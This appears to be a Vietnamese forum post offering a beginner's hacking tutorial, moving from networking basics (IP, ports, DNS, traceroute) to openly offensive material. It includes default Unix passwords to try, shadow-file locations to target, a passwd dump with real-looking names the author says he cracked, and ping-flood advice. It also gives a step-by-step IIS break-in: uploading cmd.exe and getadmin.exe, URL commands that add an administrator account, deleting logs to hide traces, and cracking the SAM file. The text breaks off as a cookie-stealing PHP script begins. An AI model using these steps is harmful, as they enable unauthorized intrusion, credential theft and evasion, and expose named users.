Skip navigation.

13 friday

Posts tagged with "hack"

Huong dan hack

Ta cần những gì để bắt đầu?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - > !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ ``systat –n ``, và biết được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn
( Tài liệu của HVA )

3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

_ Trong Window : vào Start Run đánh lệnh “winipcfg” .
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns ”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!
( Tài liệu của HVA )

5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) :wink: .

6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )

8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .

10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :

Account-------------------------Default Password


Root----------------------------------------------- Root
Sys------------------------------------------------ Sys / System / Bin
Bin------------------------------------------------ -Sys / Bin
Mountfsy------------------------------------------M ountfsys
Nuuc----------------------------------------------- Anon
Anon----------------------------------------------- Anon
User----------------------------------------------- -User
Games---------------------------------------------G ames
Install-------------------------------------------- --Install
Demo----------------------------------------------- Demo
Guest---------------------------------------------- Guest


11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .

12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng crack một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình ``CrackerJack`` hoặc ``John the Ripper`` để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào .

13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :

CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ nó đã hết hiệu lực rồI :

CODE
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem

Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu.

Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân....

Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.

( Tài liệu của HVA )

15 . ) DNS là gì ?

_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- > localhost và localhost--- > 127.0.0.1 .

( Tài liệu của HVA )

16 . ) Đôi điều về Wingate :

_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD :

CODE
telnet wingate.net
WinGate > victim.com 23


ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó .
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate > ” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .

17 . ) Đôi điều về Traceroute :

_ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :

CODE
C:\windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Tài liệu của viethacker.net )

18 . ) Ping và cách sử dụng :

_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ``ping`` như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ

CODE
``ping ip.address -t``


Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:

CODE
``ping -l (size) địa_chỉ_ip ``


Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.

( Tài liệu của HVA và viethacker.net )

19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :

_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :

c:\Ftp www.dodgyinc.com

( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :

CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):


Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong user nó sẽ xuất hiện dòng sau :

CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:


Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :

CODE
Cd /c


Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục `cgi-bin` . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt `cgi-bin` vào nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào greenbiggrin.gif greenbiggrin.gif .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :

CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!


Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :

http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add

dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh lên IE lệnh :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday

Vậy là xong rùi đó , bạn hãy disconnect và đến start menu - > find rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) .

Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào `Winnt\system32\logfiles` mở file log đó rồI xoá những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :

http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03

xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST& f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn .

Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…

Cookie là gì ?

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site.

Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site .

_ Cookies thường có các thành phần sau :

+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.

( Tài liệu của Viethacker.net )

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :

_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :

CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
